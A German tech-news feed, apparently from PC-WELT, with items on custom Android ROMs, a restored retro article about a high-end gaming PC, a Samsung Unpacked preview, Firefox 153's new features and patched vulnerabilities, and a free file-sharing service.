Der Grund dafür sind die speziellen Sicherheitsfunktionen der Pixel-Hardware. GrapheneOS nutzt unter anderem den abgesicherten Bootvorgang und hardwarebasierte Schutzmechanismen, die auf anderen Geräten nicht in gleicher Form verfügbar sind.



Das System richtet sich vor allem an Nutzer mit besonders hohen Datenschutzanforderungen. Google-Dienste sind nicht fest integriert, können aber über eine isolierte Umgebung (Sandboxed Google Play) trotzdem verwendet werden.



Auch GrapheneOS setzt schnell auf neue Android-Versionen und hat Android 17 bereits als Basis integriert. Aufgrund eines anfänglichen Android-17-Bugs beim manuellen Sideloading über das Recovery-Menü sollten Nutzer hier beim Umstieg oder Update jedoch unbedingt auf den offiziellen Webinstaller oder automatische OTA-Updates setzen. Für den normalen Smartphone-Alltag abseits der Pixel-Welt bleibt LineageOS jedoch die deutlich breiter aufgestellte Lösung, auch wenn es bisher noch auf Android 16 basiert.



Fazit: Ein zweites Leben für ältere Smartphones



Das Ende des Hersteller-Supports bedeutet nicht automatisch das Ende eines Smartphones. Wer ein technisch noch gutes Gerät besitzt, kann mit LineageOS oft mehrere zusätzliche Jahre herausholen.



Die Kombination aus aktueller Android-Version, Sicherheitsupdates und weniger Herstellerballast macht Custom-ROMs heute attraktiver denn je. Gleichzeitig nimmt der neue Webinstaller LineageOS einen Teil seiner früheren Komplexität.



Ganz ohne technisches Interesse geht es zwar weiterhin nicht. Wer sich aber etwas Zeit nimmt und die offiziellen Anleitungen sorgfältig befolgt, bekommt ein modernes Android-System – und verlängert die Lebensdauer seines Smartphones deutlich.




Vier Grafikkarten, sechs CPU-Kerne: So sah vor 14 Jahren die Höllenmaschine 4 aus
Wed, 22 Jul 2026 10:34:12 +0200





Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.



Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der vierten Höllenmaschine:



Die PC-WELT Höllenmaschine 4 repräsentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug für den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.



Das Rückgrat des 22 Kilogramm schweren Cooler Master Cosmos II bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale Lüftersteuerung, Kabelmanagement, Flügeltüren und massig Platz: Das Gehäuse besitzt allein elf Laufwerksschächte für 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.









Airbrush der Höllenmaschine 4



Für das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer Website können Sie sich von den Fähigkeiten der kunstfertigen Casemodder überzeugen. Das preisgekrönte Brüderpaar kümmert sich nicht nur um das teuflische Airbrush und bauliche Veränderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch für die Innenbeleuchtung der Gehäusemodifikation verantwortlich.



Die Gebrüder haben für den schönen Schein einen Multidimmer von Richter eingebaut, der LED-Ketten im Gehäuseinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wählen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.



Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine Wünsche offen lässt: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht Speicherbänke, SATA- und USB-Ports sowie fünfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-Unterstützung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit überwachen lassen.



Prozessor: die schnellste Desktop-CPU der Welt



Der Intel Core i7-3960X ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 läuft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mächtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.



Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-Kanäle gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-Kanäle. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusätzliche Befehlssätze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstützt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.



Die Wasserkühlung Cooler Master Eisberg 240L Prestige gibt die CPU-Abwärme über einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-Lüfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen Lüfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-Kühlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das Kühlsystem schleudert und für mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.



Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI



Um die Grafikdarstellung kümmert sich in der Höllenmaschine 4 die derzeit leistungsfähigste Grafikkarte der Welt, die ASUS GTX690-4GD5. Kostenpunkt: knapp 1000 Euro pro Stück. Die Karte beherbergt mit der Nvidia Geforce GTX 690 gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung übernehmen.


Quad-SLI in der Höllenmaschine 4 mit zwei ASUS GTX690-4GD5
PC-WELT



In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die über eine SLI-Brücke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale Ausgänge.



Ausstattung der Höllenmaschine 4 im Überblick



Komponente Modell Preis (Euro) am 31.8.2012
Gehäuse Casemod auf Basis des Cooler Master Cosmos II 1413
Hauptplatine Asus Rampage IV Extreme, Intel X79, LGA2011 350
Prozessor Intel Core i7-3960X, 3,30 GHz, 6 Kerne, 12 Theads 900
CPU-Kühlung Cooler Master Eisberg 240L Prestige 180
Arbeitsspeicher 8 x 8 GB Adata XPG X Series PC3-17066U 880
Grafikkarte 2 x Asus GTX690-4GD5, Nvidia Geforce GTX 690 2000
Bildschirme 3 x ASUS VG278H, 27 Zoll, 3D-LED-LCD, 1550
SSD (System) OCZ RevoDrive 3 X2 480GB, PCI-Express, 4fach Raid-0 650
Festplatten (Daten intern) 4 x Western Digital VelociRaptor 1000GB, Raid-5 1000
Festplatten (Daten extern) 2 x Western Digital Caviar Green 3000GB 300
Blu-ray-Brenner Asus BW-12B1ST, SATA 100
Netzteil Cooler Master Silent Pro Hybrid 1300W 250
Eingabegerät Logitech G9x Laser Mouse und G19 Gaming Keyboard 200
Lautsprecher-Set Logitech Z906, 5.1 System 250
Headset Logitech G930 Wireless Gaming Headset 150
Betriebssystem Microsoft Windows 7 Ultimate 64 Bit 160
Multimedia-Paket Adobe Creative Suite 6 Design & Web Premium 2000
Spiele-Paket 18 Top-Titel 600
Office-Paket Microsoft Office Professional 2010 400


PC-WELT



Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig



Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm ASUS VG278H zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors beträgt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstützt die Lightboost-Technik und damit natürlich auch Nvidia 3D Vision 2 – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei Videoeingänge sowie einen Kopfhöreranschluss.



Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebündelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lässt: Da kann man zahlreiche Fenster in ihrer vollen Größe geöffnet lassen, und behält dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch für Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu müssen.



Ernsthaften PC-Spielern kann dagegen die Bildschirmgröße nicht groß genug sein – denn sie bedeutet größere Übersicht und ein realistischeres Spielerlebnis. So füllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und Nvidia 3D Vision Surround geht das auch flüssig in stereoskopischem 3D.









Arbeitsspeicher: Quad-Channel mit 64 Gigabyte



Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte Kapazität steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von über 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.



PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green 



Das Betriebssystem und alle Programme dürfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufälligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle würde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.


Die erste SSD in einer Höllenmaschine: OCZ RevoDrive 3 X2
OCZ/Kioxia 



Das interne Backup übernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die Western Digital VelociRaptor WD1000DHTZ. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare Kapazität zur Verfügung.



Die Aufgabe des klassischen Massenspeichers für umfangreiche Foto-, Musik- und Videosammlungen übernehmen die beiden 3,5-Zoll-Festplatten Western Digital Caviar Green 3000GB WD30EZRX. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-Schächten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.









Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene



Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das Cooler Master Silent Pro Hybrid 1300W bietet genügend Reserven, um alle Komponenten zuverlässig mit Energie zu versorgen. Das vollständig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.



Aufgrund der “80 PLUS Gold“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von über 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven Kühlung ist das 1300-Watt-Netzteil aber auch flüsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-Lüftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo für den 130-Millimeter-Lüfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.



Um optische Massenspeicher kümmert sich der Blu-ray-Brenner Asus BW-12B1ST. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gängigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo füllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software für das Backup, Brennen und Abspielen von Blu-rays enthalten.



Peripherie: Luxus-Eingabegeräte und 5.1-Raumklang



Die Logitech G9x Laser Mouse kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrüstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fünf Profile für individuelle Tastatur-Makros und Abtastraten.



Das Logitech G19 Gaming Keyboard besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand für über 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten für den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und überrascht mit einer Kabelführung auf der Unterseite für Maus und Headset.


Logitech



Das THX-zertifizierte Lautsprecherset Logitech Z906 bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos über die Fernbedienung.



Wer nachts die Nachbarn nicht stören darf, greift zum Logitech G930 Wireless Gaming Headset. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang über eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, Geräuschunterdrückung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.



Kreativ-, Spiele- und Office-Paket für 4000 Euro



Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem Windows 7 Ultimate. Für das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-Unterstützung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-Verschlüsselung und dem nützlichen VHD-Boot.



Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight für Kreative ist die Adobe Creative Suite 6 Design & Web Premium. Die „Rundum glücklich“-Lösung für professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthält folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.



Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthält die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.



Und wer die Höllenmaschine im Büroeinsatz unterfordern will, installiert Microsoft Office Professional 2010. Das Paket enthält die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.



Hinweis: Hier endet der Artikel über die Höllenmaschine 4 aus dem Jahre 2014.



So gewinnen Sie die HMX 6



Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:


Gewinnen Sie hier die HMX 6


Wie Sie die HMX 6 verfolgen können



In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.




Galaxy Unpacked Event heute ab 15 Uhr hier im Live-Stream – das stellt Samsung alles vor
Wed, 22 Jul 2026 10:20:08 +0200





Am heutigen Mittwoch, 22. Juli 2026, stellt Samsung bei dem Galaxy Unpacked July 2026 Event seine Neuheiten vor. Freuen Sie sich auf neue faltbare Galaxy Z-Smartphones, Galaxy Watches und vieles mehr. Unter anderem erwarten wir die Vorstellung des Galaxy Z Fold 8, Fold 8 Ultra, Z Flip 8, Galaxy Watch 9, Galaxy Watch 9 Classic und Watch Ultra 2. Mit Galaxy Glasses könnte Samsung außerdem seine erste smarte Brille vorstellen. Hier können Sie heute ab 15 Uhr deutscher Zeit im Live-Stream den Event mitverfolgen:









Samsung hat nun endlich den Termin für sein nächstes großes „Unpacked“-Event bestätigt, bei dem das Unternehmen seine neue Produktreihe faltbarer Smartphones vorstellen wird.



Wir haben von Samsung eine digitale Einladung zu einem „Unpacked“-Event erhalten, das am 22. Juli um 14:00 Uhr BST (15:00 Uhr deutscher Zeit) in London stattfinden wird.



Das war zwar schon seit einigen Monaten ein offenes Geheimnis, aber es ist immer schön, eine offizielle Bestätigung zu erhalten.


Samsung



Ein Blick hinter die Kulissen von „Unpacked“



Was wird also bei dieser Veranstaltung in Großbritannien vorgestellt? „Samsung wird die neuesten Ergänzungen des Galaxy-Portfolios vorstellen, das die Kategorie der faltbaren Smartphones geprägt hat“, so das Unternehmen.



„Durch die Kombination intelligenter Funktionen mit innovativen Formfaktoren wird die nächste Generation der Galaxy-Geräte noch persönlichere und anpassungsfähigere Erlebnisse bieten und einen neuen Standard für das KI-Zeitalter setzen.“



Es wird erwartet, dass dazu die Nachfolgemodelle des Samsung Galaxy Z Fold 7 und des Samsung Galaxy Z Flip 7 gehören, aber auch ein brandneues Modell.



Neben dem Samsung Galaxy Z Fold 8 Ultra und dem Samsung Galaxy Z Flip 8 wird das Unternehmen voraussichtlich auch das Samsung Galaxy Z Fold 8 vorstellen.


Das Galaxy Z Fold 8 wird deutlich breiter sein als das Fold 7
Dominik Tomaszewski / Foundry



Verwirrung bei den Falt-Smartphones



Wir haben Sie verwirrt, nicht wahr? Die Schuld liegt bei Samsung. Dem Unternehmen wird nachgesagt, ein neues faltbares Gerät im Buchformat mit einem breiteren Seitenverhältnis auf den Markt zu bringen, das voraussichtlich den Namen Samsung Galaxy Z Fold 8 tragen wird.



Der direkte Nachfolger des Samsung Galaxy Z Fold 7 soll hingegen den Namen Samsung Galaxy Z Fold 8 Ultra tragen.



Angesichts der Tatsache, dass das Samsung Galaxy Z Fold 8 mit ziemlicher Sicherheit eine vorbeugende Maßnahme ist, um dem bevorstehenden iPhone Ultra zuvorzukommen – Apples erstes faltbares Modell soll ebenfalls breiter als üblich sein –, erwarten wir, dass Verwirrung herrschen wird.



Das ist vielleicht sogar gewollt. Bislang ist Samsung der wegweisende Hersteller für faltbare Smartphones, doch das kann sich schnell ändern. Daher sind wir alle sehr gespannt darauf, was das Unternehmen als Nächstes für uns bereithält.


Mike Sawh



Dies ist nicht die einzige Neuigkeit zu faltbaren Smartphones, die Samsung diese Woche bekannt gegeben hat. Das Unternehmen bestätigte zudem auf Weibo (Chinas größtem sozialen Netzwerk), dass sein „brandneuer Formfaktor“ mit dem Snapdragon-8-Elite-Gen-5-Chip von Qualcomm ausgestattet sein wird.



Anschließend lädt es seine Fans dazu ein, zu raten, um welches Produkt es sich dabei handeln könnte. Wir sind gespannt.



Weitere Ankündigungen und Vorabangebote



Neben diesen neuen Faltgeräten könnte Samsung bei der „Unpacked“-Veranstaltung zwei neue Samsung-Galaxy-Watch-Wearables (darunter ein Nachfolger der Samsung Galaxy Watch Ultra) vorstellen, sowie möglicherweise Neuigkeiten zu den Galaxy Glasses des Unternehmens.



Sie können den Live-Stream des Samsung Unpacked-Events auf der Website des Unternehmens und auf dessen YouTube-Kanal verfolgen.



In der Zwischenzeit können Sie die „Unpacked“-Webseite des Unternehmens besuchen und sich dort registrieren. Dazu gehört die Chance, einen von zehn Gutscheinen im Wert von jeweils 500 Euro zu gewinnen, sowie ein Gutschein im Wert von 30 Euro für Galaxy-Produkte.



		
			
				
									
			

			
									
						Samsung Galaxy Z Fold 7
					
				
									
						
							
						
					
				
									
													
								
											
										
									Test lesen
									
							
											
				
				
											
								
							Preis beim Test:								
								
								2099 Euro								
							
						
											
							
								Best Prices Today:
							
							
								1.469,00 € bei  notebooksbilliger											 | 
																		1.699,88 € bei  Amazon Marketplace CE											 | 
																		1.699,99 € bei  OTTO							
						
									
			
		

		



Firefox 153.0 behebt über 60 Schwachstellen und erstellt QR-Codes
Wed, 22 Jul 2026 09:51:01 +0200





Die neue Firefox-Version 153 für Windows, macOS, Linux und Android bringt einige Verbesserungen bei der Benutzung wie etwa HDR-Videowiedergabe, abgeschottete Tab-Umgebungen, und QR-Code-Erzeugung zur Link-Weitergabe. Die Entwickler haben mehr als 60 Sicherheitslücken gestopft. Updates gibt es auch für die ESR-Versionen.



Im Sicherheitsbericht für Firefox 153 nennt Mozilla mehr als 63 beseitigte Sicherheitslücken, von denen 60 durch externe Sicherheitsforscher entdeckt und gemeldet wurden, drei davon durch OpenAI Codex Security. Mozilla stuft 17 dieser Schwachstellen als hohes Risiko ein. Bei vier dieser Lücken drohen Ausbrüche aus der Browser-Sandbox.



▶Die neuesten Sicherheits-Updates



Weitere 35 Schwachstellen sind als mittleres Risiko ausgewiesen, der Rest als geringes Risiko. Die drei letzten Einträge im Sicherheitsbericht fassen eine nicht angegebene Zahl intern gefundener, als hohes Risiko eingestufter Sicherheitslücken zusammen, die aus Programmierfehlern bei der Speicherverwaltung resultieren. Die Lücken sind danach gruppiert, welche Programme und Programmversionen betroffen sind.



Was ist neu in Firefox 153?



Für Windows-Nutzer bietet Firefox 153 die Wiedergabe von HDR-Videos (High Dynamic Range). Voraussetzung ist, dass der HDR-Modus in den Windows Bildschirmeinstellungen aktiviert ist. Notebook-Displays, die lediglich „HDR Video-Streaming“ bieten, werden derzeit nicht unterstützt, ebenso wie Smartphone-Videos im Hochkant-Format.



Mit dem integrierten PDF-Betrachter und -Editor können Sie nun mehrere PDF-Dateien zusammenführen, indem Sie sie in die PDF-Sidebar ziehen. Auch können Sie jetzt Bilder als neue Seiten in PDF-Dokumente einfügen.



Wenn Sie einen Link weitergeben wollen, etwa auch an Ihr eigenes Smartphone, ohne einen Web-Dienst (wie Firefox Sync) zu benutzen, können Sie mit Firefox 153 einen QR-Code erstellen. Firefox hebt nun das Symbol für die Standort-Freigabe in roter Farbe hervor, wenn eine Website Zugriff auf Ihren Standort hat.


Link mittels QR-Code teilen
fz



Das mit Firefox 149 eingeführte und in Firefox integrierte Gratis-VPN bietet weiterhin eine vorübergehend (bis Ende August) auf 28 Länder erweiterte Auswahl virtueller Standorte mit uneingeschränktem Datenvolumen. Das kostenlose VPN ist derzeit für Firefox-Nutzer in den USA, Kanada, Großbritannien, Frankreich und Deutschland verfügbar.



Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.



Weitere Browser-Updates



Neben Firefox 153.0 sind auch die ESR-Ausgaben 140.13.0 und 115.38.0 erhältlich. Letztere gibt es allerdings nur für Windows 7 & 8.1 sowie macOS 10.12 bis 10.14. In den ESR-Versionen haben Mozillas Entwickler diejenigen der oben genannten Schwachstellen behoben, die schon im teils gut abgehangenen Code dieser Browser-Generationen stecken. Das sind in Firefox 140.13 mindestens 32 und in Firefox 115.38 immerhin noch wenigstens 14 geschlossene Sicherheitslücken. Darunter sind zwei als kritisch eingestufte Schwachstellen, die bereits in Firefox 152.0.6 beseitigt wurden. Firefox 153 ist außerdem die Basis für die nächste ESR-Generation. Das bedeutet, Firefox ESR 140 wird im Oktober durch Firefox ESR 153 abgelöst.



Gnadenfrist für Windows 7 & 8 erneut verlängert



Firefox ESR 115 wird vorerst bis März 2027 (v115.52) weiter mit Sicherheits-Updates gepflegt. Wenn Sie Firefox 115 unter Windows 7, 8.1 oder macOS 10.12 bis 10.14 einsetzen, erhalten Sie zumindest für den Browser weiterhin aktuelle Sicherheits-Updates. Rechtzeitig vor Ablauf dieser Gnadenfrist wird Mozilla die Situation neu bewerten und dann entscheiden, ob es eine weitere Verlängerung gibt.



Updates für Tor Browser und Thunderbird



Der neueste Tor Browser 15.0.19 basiert auf Firefox ESR 140.13. Das ansonsten von Mozilla unabhängige Tor-Projekt und die Nutzer des Tor Browsers profitieren so von den in Firefox gestopften Sicherheitslücken. Tor Browser 15.0.9 bringt die Erweiterung NoScript 13.6.31 mit. Das Tor Projekt hostet NoScript für seinen Browser inzwischen selbst. Erkennbar ist das daran, dass diese NoScript-Version den Suffix „.1984“ (aktuell also 13.6.31.1984) trägt – George Orwell lässt grüßen. Ansonsten ist sie identisch mit der Version auf AMO (addons.mozilla.org). Einen Tor Browser für ältere Systeme gibt es nicht mehr. Auch Mozillas Mailer Thunderbird 153.0 und 140.13.0esr sind verfügbar. Darin haben die Entwickler ebenfalls Dutzende Sicherheitslücken beseitigt, die das Mail-Programm vorwiegend von Firefox geerbt hat. 



Bis zur Veröffentlichung der nächsten Hauptversion Firefox 154 am 18. August plant Mozilla wöchentliche Updates zur Fehlerbehebung und um weitere Schwachstellen zu beseitigen. Nach Firefox 154 wechselt Mozilla, wie auch Google Chrome und Microsoft Edge, auf einen zweiwöchentlichen Turnus für neue Hauptversionen. Firefox 155 soll demnach bereits am 1. September erscheinen.








So teilen Sie große Dateien kostenlos und ohne Anmeldung per Cloud
Wed, 22 Jul 2026 08:07:22 +0200





Das Teilen großer Dateien und Datenmengen gelingt sehr einfach über Transferdienste in der Cloud. Mit Boomerang gibt es nun ein neues Angebot, hinter dem Start-up steht einer der Gründer des populären Webservice „WeTransfer“. Boomerang lässt sich gratis nutzen, dazu ist nicht einmal eine Anmeldung erforderlich. Ohne Konto steht über den Dienst bis zu einem Gigabyte Speicherplatz zum Verschicken und für sieben Tage zum Download zur Verfügung. 



So geht’s: Ziehen Sie bitte auf der Startseite eine oder mehrere Dateien in den Browser. Im folgenden Schritt können Sie über den „Add more“-Button weitere Daten zum Transfer hinzufügen. Mit „Upload Files“ starten Sie das Hochladen, anschließend sehen Sie alle wichtigen Informationen zum Teilen: Mit „Copy Link“ rechts oben kopieren Sie die Download-URL, die Sie dem Empfänger auf beliebigem Weg zuschicken. 


Boomerang erlaubt das einfache Teilen von großen Datenpaketen. Der Clouddienst funktioniert ganz ohne Anmeldung, mit Anmeldung ist die Nutzung bis 3 GB kostenlos.
Foundry



Wenn Sie ein kostenloses Boomerang-Konto anlegen, können Sie „Spaces“ anlegen und maximal 3 GB große Dateien verschicken. In einem Space verwalten Sie Ihre Dateien, löschen Einträge oder fügen weitere Daten hinzu. Im Boomerang-Dashboard sehen und verwalten Sie die Spaces. 



Oben benennen Sie sie um oder wählen zur Kennzeichnung ein Emoji. Option 3 ist das bezahlte Pro-Konto für knapp sieben Euro pro Monat: Es bietet zusätzliche Funktionen beim Datenschutz, 200 GB Speicherplatz, bis zu fünf GB große Dateien und die Bereitstellung der Download-Links bis zu 90 Tagen.



Lesetipp: Vertrauliche Daten sicher von PC zu PC schicken




Security teams keep finding critical flaws after scheduled testing ends
Wed, 22 Jul 2026 07:11:07 +0200
Enterprise environments change between scheduled security assessments, leaving organizations with periods where new vulnerabilities can go undetected. Synack’s State of Continuous Security Validation report found that 95% of surveyed organizations identified high- or critical-severity vulnerabilities outside planned testing windows during the past year, with 42% encountering them at least once a month. How often high/critical vulns are found outside testing windows (past 12 mo.) (Source: Synack) False sense of coverage Eighty-three percent of security leaders … More →
The post Security teams keep finding critical flaws after scheduled testing ends appeared first on Help Net Security.


Security teams keep finding critical flaws after scheduled testing ends
Wed, 22 Jul 2026 07:11:02 +0200
